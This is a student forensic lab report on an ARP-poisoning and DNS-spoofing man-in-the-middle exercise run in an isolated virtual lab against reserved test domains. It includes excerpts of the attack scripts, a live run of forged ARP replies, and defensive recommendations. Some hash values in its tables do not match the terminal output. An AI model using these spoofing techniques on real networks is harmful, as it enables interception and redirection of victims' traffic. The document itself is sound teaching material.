

INTERNATIONAL CYBERSECURITY AND DIGITAL FORENSICS ACADEMY

LABORATORY INVESTIGATION & FORENSIC EVIDENCE REPORT

"Preparing Global Cybersecurity Leaders Through Excellence in Hands-On Training"

Lab Title: SBT-DF203 Lab 8: DNS Spoofing Forensics

Course Name: Basic Networking Skills for Digital Forensics

Student Name: Almustapha Yusuf

Registration Number: fwsd2511343

Operating Platform: Kali Linux 2026 & Ubuntu Linux VM

Date of Submission: 24/09/2026

Investigation Target: Active MITM DNS Spoofing & Cache Poisoning

Report Version: Version 1.0 (Final Release)

Executive Summary

This report documents the forensic analysis of a controlled DNS spoofing attack in an isolated host-only environment. A legitimate DNS/ARP baseline (NXDOMAIN for portal.icdfa.test) was captured from the victim (Ubuntu, 192.168.199.129). Instructor-provided scripts (arp.py and dns_spoof.py) were then used to establish man-in-the-middle positioning via ARP poisoning (Kali MAC 00:0c:29:f3:f7:44 claimed for gateway and victim) and to intercept DNS queries via NetfilterQueue. The victim received a forged A record (192.168.199.128 TTL 300) for portal.icdfa.test and bank.training.invalid. Post-DNS TCP connections to the forged IP were observed. The environment was fully restored (ARP flushed, ip_forward=0, no NFQUEUE rule, no rogue processes).

1. Authorization and Scope

- Authority:** Conducted in an isolated host-only virtual lab.
- Targets:** Reserved training domains only (portal.icdfa.test, bank.training.invalid — IANA .test/.invalid TLDs). No real domains were targeted.
- Instructor Approval:** Manual and scripts reviewed prior to execution.
- Ethical Scope:** No credentials collected — the training landing page displays only a warning simulation message.

2. Lab Network Diagram

The laboratory setup establishes an isolated three-node virtual local area network on the 192.168.199.0/24 subnet:

Host Role	Assigned IP Address	Hardware MAC Address
Kali (Analyst / Attacker)	192.168.199.128	00:0c:29:f3:f7:44
Ubuntu (Victim)	192.168.199.129	00:0c:29:aa:6a:fa
Gateway / DNS Resolver	192.168.199.2	00:50:56:ff:50:a0

3. Baseline Evidence and Hashes

Cryptographic verification hashes computed for the primary evidence captures and training landing page:

Evidence Artifact	SHA-256 Hash Digest	Integrity Status
dns_baseline.pcapng	09cd9122f26ada6d68770c1cde91260e84dcdbcea945ae7bc5fc28005705ac5	VERIFIED
dns_spoof_final.pcapng	0c60112b56f073344fa5fcffe3a83d5ceefed84799d6143a2a9cbc6ddb457	VERIFIED

Baseline Resolver State: Baseline dig query result executed from Ubuntu victim prior to attack:

```
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 50359
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;portal.icdfa.test. IN A
;; SERVER: 192.168.199.2#53(192.168.199.2)
;; Query time: 144 msec
```

4. Controlled Simulation Method

- Script Reviews:** Audited arp.py and dns_spoof.py. The arp.py script targets victim (192.168.199.129) and gateway (192.168.199.2), poisoning both sides and enabling ip_forward. The dns_spoof.py script intercepts DNS queries via NetfilterQueue (queue-num 1) and alters matched domains.
- Safety Modifications:** Replaced original public domains (google.com, facebook.com) with IANA-reserved test domains (portal.icdfa.test, bank.training.invalid, secure.icdfa.test).
- Execution Sequence:** 1. Initiated TShark capture on Kali eth0. 2. Launched sudo python3 scripts/arp.py 192.168.199.129 192.168.199.2. 3. Started sudo python3 scripts/dns_spoof.py. 4. Flushed victim DNS cache (resolvectl flush-caches). 5. Executed victim dig queries.

5. DNS Anomaly Timeline

Chronological event log tracking the DNS interception sequence:

Time (Epoch / Offset)	Forensic Event Description
1790204439.06	Victim queries portal.icdfa.test from UDP port 55170
1790204439.07	Kali intercepts query -> [MATCH] [SPOOFED] -> 192.168.199.128 (TTL 300)
1790204439.11	Victim queries bank.training.invalid -> [MATCH] [SPOOFED] -> 192.168.199.128
1790204455.22	Unmatched query connectivity-check.ubuntu.com received -> Passed through unmodified
1790204458.38	portal.icdfa.test re-queried by victim -> Re-spoofed to 192.168.199.128

6. ARP Correlation

- **Poisoning Claims:** During the active spoofing window, Kali broadcasted unsolicited ARP replies claiming MAC 00:0c:29:f3:f7:44 for 192.168.199.2 (gateway) and 192.168.199.129 (victim).
- **Victim ARP Table During Attack:** Evidence of successful MITM positioning: 192.168.199.2 dev ens33 lladdr 00:0c:29:f3:f7:44 REACHABLE.
- **Victim ARP Table After Restoration:** Gateway mapping successfully restored: 192.168.199.2 dev ens33 lladdr 00:50:56:ff:50:a0 STALE.

7. Victim Connection Correlation

Victim dig output confirmed forged resource records returned in the Additional Section:

```
;; ADDITIONAL SECTION:
portal.icdfa.test.      300      IN      A       192.168.199.128
bank.training.invalid. 300      IN      A       192.168.199.128
;; SERVER: 192.168.199.2#53(192.168.199.2)
;; Query time: 5 msec
```

- **TCP Connection Correlation:** TShark trace (post_dns_connections.tsv) confirmed that following DNS resolution (Frames 51–53), the victim initiated direct TCP connections (Frames 56–136) to 192.168.199.128 on ports 80 and 443.

8. Baseline vs Spoof Comparison

Direct comparative evaluation between legitimate resolution and controlled spoofing:

Indicator	Baseline State	Controlled Spoof	Forensic Assessment
DNS Query	portal.icdfa.test A	portal.icdfa.test A	Identical requested target
DNS Responder IP	192.168.199.2	192.168.199.2 (spoofed)	Forged layer 3 source
Responder eth.src MAC	00:50:56:ff:50:a0	00:0c:29:f3:f7:44	Direct MITM signature (Kali MAC)
Transaction ID Match	YES (query=response)	YES (intercepted)	Attacker matched client TX ID
Returned Answer IP	NXDOMAIN (no answer)	192.168.199.128	Forged IP address injected
Record TTL	N/A (NXDOMAIN)	300 seconds	Controlled attacker caching timer
Competing Answers	N/A	None (spoof won the race)	Local injected reply answered first
Gateway ARP Mapping	00:50:56:ff:50:a0 (real)	00:0c:29:f3:f7:44 (Kali)	ARP cache poisoning confirmed
Subsequent HTTP Dest	N/A	192.168.199.128 (via curl)	Full traffic diversion achieved

9. Alternative Explanations and Confidence Level

- **Investigative Confidence:** HIGH. The incident definitively constitutes an active DNS spoofing attack rather than a network anomaly.
- **Key Discrepancies:** 1. Source MAC Anomaly: Response frame 52 originated from Kali MAC (00:0c:29:f3:f7:44) but claimed gateway IP (192.168.199.2). 2. ARP Table Duplication: Gateway IP was mapped to attacker hardware. 3. Fast Response Time: Spoofed reply arrived in ~5ms versus ~144ms baseline.
- **Alternative Theories Ruled Out:** DNS Caching ruled out (cache flushed prior to query). Split-horizon DNS ruled out (would still originate from real gateway MAC). CDN variations ruled out (reserved .test TLDs cannot resolve publicly).

10. Cleanup and Verification

Post-investigation sanitization verified that all simulation artifacts were removed:

Audit Checkpoint	Verification Result
ps aux grep -E 'arp.py dns_spoof.py'	Empty (0 rogue attack processes running)
iptables -L FORWARD	Clean (NFQUEUE rule successfully unlinked)
sysctl net.ipv4.ip_forward	0 (Kernel packet routing disabled)
ip neigh flush all (Kali & Ubuntu)	Flushed (Gateway restored to 00:50:56:ff:50:a0)
dns_spoof.py log status	Confirmed: [!] iptable rule flushed on Ctrl+C

11. Defensive Recommendations

- **DNSSEC Validation:** Enforce DNS Security Extensions to cryptographically validate response authenticity and reject forged records.
- **Encrypted DNS Transports (DoH / DoT):** Deploy DNS-over-HTTPS or DNS-over-TLS to prevent on-path packet interception and payload tampering.
- **Dynamic ARP Inspection (DAI):** Implement DAI paired with DHCP snooping on access switches to eliminate underlying ARP poisoning.
- **Static Gateway ARP Pinning:** Configure static ARP table entries on mission-critical hosts to ensure gateway mapping cannot be overwritten.
- **DNS Anomaly Sentinel Alerts:** Deploy IDS rules alerting on identical transaction IDs paired with conflicting answer IPs or mismatched Layer 2 MACs.
- **Mandatory HTTPS & HSTS:** Enforce Strict Transport Security so browsers refuse connections to forged HTTP servers lacking valid SSL/TLS certificates.

12. Screenshots and Evidence

The following 16 documented figures provide end-to-end evidence of the lab setup, baseline validation, attack execution, and network restoration:

```
Session Actions Edit View Help
└─$ cd ~
mkdir -p ~/SBT-DF203-Lab8/{evidence,working,exported,reports,screenshots,scripts}
cd ~/SBT-DF203-Lab8

(kali@kali)-[~/SBT-DF203-Lab8]
└─$ pwd
/home/kali/SBT-DF203-Lab8
find . -maxdepth 1 -type d -print
./exported
./evidence
./working
./screenshots
./scripts
./reports

(kali@kali)-[~/SBT-DF203-Lab8]
└─$ ping -c 3 192.168.199.129
PING 192.168.199.129 (192.168.199.129) 56(84) bytes of data.
64 bytes from 192.168.199.129: icmp_seq=1 ttl=64 time=0.947 ms
64 bytes from 192.168.199.129: icmp_seq=2 ttl=64 time=1.22 ms
64 bytes from 192.168.199.129: icmp_seq=3 ttl=64 time=1.71 ms

— 192.168.199.129 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 0.947/1.291/1.711/0.316 ms

(kali@kali)-[~/SBT-DF203-Lab8]
└─$ find ~ -name "arp.py" 2>/dev/null
find ~ -name "dns_spoof.py" 2>/dev/null
find / -name "arp.py" 2>/dev/null | head -5
/home/kali/.cache/vmware/drag_and_drop/dy3NVv/arp.py
/home/kali/SBT-DF203-Lab8/scripts/arp.py
/home/kali/.cache/vmware/drag_and_drop/dy3NVv/dns_spoof.py
/home/kali/SBT-DF203-Lab8/scripts/dns_spoof.py
/home/kali/.cache/vmware/drag_and_drop/dy3NVv/arp.py
/home/kali/SBT-DF203-Lab8/scripts/arp.py

(kali@kali)-[~/SBT-DF203-Lab8]
└─$ python3 -c "from scapy.all import ARP, send; print('Scapy ARP module loaded OK')"
python3 -c "from scapy.all import DNS, DNSRR, sendp; print('Scapy DNS module loaded OK')"
Scapy ARP module loaded OK
Scapy DNS module loaded OK
```

Figure 1: *Workspace Directory Setup & Scapy Module Validation* — Initializing /SBT-DF203-Lab8 hierarchy, verifying connectivity to victim 192.168.199.129, and checking Scapy modules.

```

(kali㉿kali)-[~]
$ cd ~/SBT-DF203-Lab8
nano scripts/dns_spoof.py

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ grep -A5 'hostDict = {' scripts/dns_spoof.py
    hostDict = {
        b"portal.icdfa.test.": "192.168.199.128",
        b"bank.training.invalid.": "192.168.199.128",
        b"secure.icdfa.test.": "192.168.199.128"
    }
    queueNum = 1

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ nano scripts/dns_spoof.py

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ grep -E 'args\[1\]|args\[2\]' scripts/arp.py
    target = args[1]
    host = args[2]

(kali㉿kali)-[~/SBT-DF203-Lab8]
$ cat scripts/dns_spoof.py | tee reports/dns_spoof_script_review_FINAL.txt
cat scripts/arp.py | tee reports/arp_script_review_FINAL.txt
# https://www.geeksforgeeks.org/how-to-make-a-dns-spoof-attack-using-scapy-in-python/
# https://www.thepythoncode.com/article/make-dns-spoof-python
import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue

class DnsSnoof:
    def __init__(self, hostDict, queueNum):
        self.hostDict = hostDict
        self.queueNum = queueNum
        self.queue = NetfilterQueue()

    def __call__(self):
        log.info("Snoofing....")
        os.system(
            f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
        self.queue.bind(self.queueNum, self.callBack)

```

Figure 2: *Safety Modification in dns_spoof.py Script* — Replacing public target domains with reserved .test / .invalid TLDs and saving script reviews to reports/.

```

        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
        # sleep for two second
        time.sleep(3)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait ... ")
        restore(target, host)
        restore(host, target)
        print("[+] Arp Spoof Stopped")

(kali@kali)-[~/SBT-DF203-Lab8]
$ # On Kali
echo '<!DOCTYPE html><html><body style="font-family:Arial">
<h1>ICDFA DNS Spoofing Training Page</h1>
<p><b>This is an authorized training simulation. No credentials required.</b></p>
<p>Analyst: Almustapha Yusuf</p>
<p>If you see this page, the DNS spoof redirected you here.</p>
</body></html>' | sudo tee /var/www/html/index.html

sudo systemctl enable --now apache2
curl -s http://192.168.199.128/ | head -5
[sudo] password for kali:
<!DOCTYPE html><html><body style="font-family:Arial">
<h1>ICDFA DNS Spoofing Training Page</h1>
<p><b>This is an authorized training simulation. No credentials required.</b></p>
<p>Analyst: Almustapha Yusuf</p>
<p>If you see this page, the DNS spoof redirected you here.</p>
</body></html>
Synchronizing state of apache2.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable apache2
<!DOCTYPE html><html><body style="font-family:Arial">
<h1>ICDFA DNS Spoofing Training Page</h1>
<p><b>This is an authorized training simulation. No credentials required.</b></p>
<p>Analyst: Almustapha Yusuf</p>
<p>If you see this page, the DNS spoof redirected you here.</p>

(kali@kali)-[~/SBT-DF203-Lab8]
$ curl -s http://192.168.199.128/ | head -5
<!DOCTYPE html><html><body style="font-family:Arial">
<h1>ICDFA DNS Spoofing Training Page</h1>
<p><b>This is an authorized training simulation. No credentials required.</b></p>
<p>Analyst: Almustapha Yusuf</p>
<p>If you see this page, the DNS spoof redirected you here.</p>

```

Figure 3: Training Landing Page Authoring & Apache Service Start — Generating /var/www/html/index.html with student credentials and starting apache2 web daemon.

```

user@user-virtual-machine:~$ # On Ubuntu
which dig curl
sudo apt install -y dnsutils curl # if still pending from earlier
dig @192.168.199.2 portal.icdfa.test A
/usr/bin/dig
[sudo] password for user:
E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem.

; <<>> DiG 9.18.39-0ubuntu0.22.04.6-Ubuntu <<>> @192.168.199.2 portal.icdfa.test A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NXDOMAIN, id: 50359
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:;, MBZ: 0x0005, udp: 1232
;; QUESTION SECTION:
;portal.icdfa.test.          IN      A

;; AUTHORITY SECTION:
test.          5      IN      SOA      localhost. nobody.invalid. 1 3600 1200 604800 10800

;; Query time: 144 msec
;; SERVER: 192.168.199.2#53(192.168.199.2) (UDP)
;; WHEN: Wed Sep 23 22:34:00 WAT 2026
;; MSG SIZE rcvd: 105

user@user-virtual-machine:~$

```

Figure 4: Victim Ubuntu VM Baseline dig Query (NXDOMAIN) — Victim executing dig @192.168.199.2 portal.icdfa.test receiving legitimate NXDOMAIN (Query time: 144 ms).

```

(kali@kali)-[~/SBT-DF203-Lab8]
$ python3 -c "from netfilterqueue import NetfilterQueue; print('NetfilterQueue OK')" | tee reports/nfqueue_check.txt
cat reports/nfqueue_check.txt
NetfilterQueue OK
NetfilterQueue OK

(kali@kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
sysctl net.ipv4.ip_forward | tee reports/ip_forward_before.txt
sudo iptables-save | tee reports/iptables_before.rules
sudo iptables -L -n -v --line-numbers | tee reports/iptables_before.txt
cat reports/ip_forward_before.txt
cat reports/iptables_before.txt
net.ipv4.ip_forward = 0
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                   destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                   destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                   destination
net.ipv4.ip_forward = 0
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                   destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                   destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target    prot opt in     out     source                   destination

(kali@kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
IFACE=eth0
VICTIM_IP=192.168.199.129
tshark -i $IFACE -f "host $VICTIM_IP and (arp or port 53 or tcp port 80)" -w evidence/dns_baseline.pcapng
Warning: program compiled against libxml 215 using older 214
Capturing on 'eth0'
134 ^C

```

Figure 5: NetfilterQueue Check & Baseline Capture Execution — Verifying NetfilterQueue module, recording ip_forward=0, saving baseline iptables rules, and starting dns_baseline.pcapng.

```

(kali@kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
cp --preserve-timestamp evidence/dns_baseline.pcapng working/dns_baseline_working.pcapng
sha256sum evidence/dns_baseline.pcapng working/dns_baseline_working.pcapng | tee reports/dns_baseline_sha256.txt

# Check if the DNS query for portal.icdfa.test was captured
tshark -r working/dns_baseline_working.pcapng -Y 'dns' -T fields -e frame.number -e ip.src -e ip.dst -e dns.qry.name -e dns.flags.response -e dns.flags.rcode | tee reports/dns_baseline_check.tsv
cat reports/dns_baseline_check.tsv
09cd9122f26ada6d68770c1cde91260e84dcdbcea945ae7bc5fc28005705ac5 evidence/dns_baseline.pcapng
09cd9122f26ada6d68770c1cde91260e84dcdbcea945ae7bc5fc28005705ac5 working/dns_baseline_working.pcapng
Warning: program compiled against libxml 215 using older 214
1 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
2 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
3 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
4 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
5 192.168.199.129 192.168.199.2 changelogs.ubuntu.com False
6 192.168.199.2 192.168.199.129 changelogs.ubuntu.com True 0
7 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
8 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
9 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
10 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
11 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
12 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
13 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
14 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
15 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
16 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
17 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
18 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
19 192.168.199.129 192.168.199.2 changelogs.ubuntu.com False
20 192.168.199.129 192.168.199.2 changelogs.ubuntu.com False
21 192.168.199.2 192.168.199.129 changelogs.ubuntu.com True 0
22 192.168.199.2 192.168.199.129 changelogs.ubuntu.com True 0
23 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
24 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
25 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
26 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
27 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
28 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
29 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False
30 192.168.199.2 192.168.199.129 _https_tcp.changelogs.ubuntu.com True 3
31 192.168.199.129 192.168.199.2 _https_tcp.changelogs.ubuntu.com False

```

Figure 6: Baseline Capture Preservation & SHA-256 Hashing — Capturing baseline traffic on eth0 and generating SHA-256 hash digest (09cd9122...).

73	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
74	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
75	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
76	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
77	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
78	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
79	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
80	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
81	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
82	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
83	192.168.199.129	192.168.199.2	changelogs.ubuntu.com	False	
84	192.168.199.129	192.168.199.2	changelogs.ubuntu.com	False	
85	192.168.199.2	192.168.199.129	changelogs.ubuntu.com	True	0
86	192.168.199.2	192.168.199.129	changelogs.ubuntu.com	True	0
87	192.168.199.129	192.168.199.2	portal.icdfa.test	False	
88	192.168.199.2	192.168.199.129	portal.icdfa.test	True	3
89	192.168.199.129	192.168.199.2	portal.icdfa.test	False	
90	192.168.199.2	192.168.199.129	portal.icdfa.test	True	3
91	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
92	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
93	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
94	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
95	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
96	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
97	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
98	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
99	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
100	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
101	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
102	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
103	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
104	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
105	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
106	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
107	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
108	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
109	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
110	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
111	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
112	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
113	192.168.199.129	192.168.199.2	_https._tcp.changelogs.ubuntu.com	False	
114	192.168.199.2	192.168.199.129	_https._tcp.changelogs.ubuntu.com	True	3
115	192.168.199.129	192.168.199.2	changelogs.ubuntu.com	False	

Figure 7: Baseline Query Stream Inspection — Dissecting dns_baseline_check.tsv confirming unmanipulated queries for portal.icdfa.test in frames 87-90.

```

102 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
103 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
104 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
105 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
106 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
107 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
108 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
109 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
110 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
111 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
112 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
113 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
114 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
115 192.168.199.129 192.168.199.2 changelogs.ubuntu.com False
116 192.168.199.129 192.168.199.2 changelogs.ubuntu.com False
117 192.168.199.2 192.168.199.129 changelogs.ubuntu.com True 0
118 192.168.199.2 192.168.199.129 changelogs.ubuntu.com True 0
119 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
120 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
121 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
122 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
123 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
124 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
125 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
126 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
127 192.168.199.129 192.168.199.2 changelogs.ubuntu.com False
128 192.168.199.129 192.168.199.2 changelogs.ubuntu.com False
129 192.168.199.2 192.168.199.129 changelogs.ubuntu.com True 0
130 192.168.199.2 192.168.199.129 changelogs.ubuntu.com True 0
131 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
132 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3
133 192.168.199.129 192.168.199.2 _https._tcp.changelogs.ubuntu.com False
134 192.168.199.2 192.168.199.129 _https._tcp.changelogs.ubuntu.com True 3

(kali@kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
sudo sysctl -w net.ipv4.ip_forward=1 | tee reports/ip_forward_enabled.txt
cat reports/ip_forward_enabled.txt
net.ipv4.ip_forward = 1
net.ipv4.ip_forward = 1

(kali@kali)-[~/SBT-DF203-Lab8]
$

```

Figure 8: Enabling IP Forwarding on Kali VM — Executing `sysctl -w net.ipv4.ip_forward=1` to allow routing between victim and gateway during MITM.

```

user@user-virtual-machine:~$ curl -s http://192.168.199.128/ | head -5
<!DOCTYPE html><html><body style="font-family:Arial">
<h1>ICDFA DNS Spoofing Training Page</h1>
<p><b>This is an authorized training simulation. No credentials required.</b></p>
<p>Analyst: Almustapha Yusuf</p>
<p>If you see this page, the DNS spoof redirected you here.</p>
user@user-virtual-machine:~$

```

Figure 9: Victim Pre-Attack Training Page Connectivity Test — Victim executing `curl -s http://192.168.199.128/` displaying the authorized simulation warning page.

```

(kali@kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
rm scripts/dns_spoof.py
nano scripts/dns_spoof.py

(kali@kali)-[~/SBT-DF203-Lab8]
$ grep -P '\t' scripts/dns_spoof.py 56 echo "TABS FOUND - fix needed" || echo "No tabs - file is clean"
No tabs - file is clean

(kali@kali)-[~/SBT-DF203-Lab8]
$ python3 -m py_compile scripts/dns_spoof.py 56 echo "Syntax OK" || echo "Syntax error"
Syntax OK

(kali@kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
tshark -i eth0 -f "host 192.168.199.129 and (arp or port 53 or tcp port 80)" -w evidence/dns_spoof_final.pcapng
Warning: program compiled against libxml 215 using older 214
Capturing on 'eth0'
136 ^C

(kali@kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
cp --preserve=timestamp evidence/dns_spoof_final.pcapng working/dns_spoof_final_working.pcapng
sha256sum evidence/dns_spoof_final.pcapng working/dns_spoof_final_working.pcapng | tee reports/dns_spoof_final_sha256.txt
cat reports/dns_spoof_final_sha256.txt
0c60112b56f073344f4a5fcffefa3a83d5ceefed84799d6143a2a9cbc6ddb457 evidence/dns_spoof_final.pcapng
0c60112b56f073344f4a5fcffefa3a83d5ceefed84799d6143a2a9cbc6ddb457 working/dns_spoof_final_working.pcapng
0c60112b56f073344f4a5fcffefa3a83d5ceefed84799d6143a2a9cbc6ddb457 evidence/dns_spoof_final.pcapng
0c60112b56f073344f4a5fcffefa3a83d5ceefed84799d6143a2a9cbc6ddb457 working/dns_spoof_final_working.pcapng

(kali@kali)-[~/SBT-DF203-Lab8]
$

```

Figure 10: Attack Capture Setup & Final Script Compilation — Validating Python syntax, starting dns_spoof_final.pcapng capture, and computing SHA-256 hash (0c60112b...).

```

(kali@kali)-[~/SBT-DF203-Lab8]
$ cd ~/SBT-DF203-Lab8
sudo python3 scripts/arp.py 192.168.199.129 192.168.199.2
[sudo] password for kali:
[!] Enabling IP Routing...
[!] IP Routing enabled.
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44
[*] Packets Sent 2WARNING: more You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44
[*] Packets Sent 4WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44
[*] Packets Sent 6WARNING: more You should be providing the Ethernet destination MAC address when sending an is-at ARP.
[+] Sent to 192.168.199.129 : 192.168.199.2 is-at 00:0c:29:f3:f7:44
[+] Sent to 192.168.199.2 : 192.168.199.129 is-at 00:0c:29:f3:f7:44
[*] Packets Sent 8WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
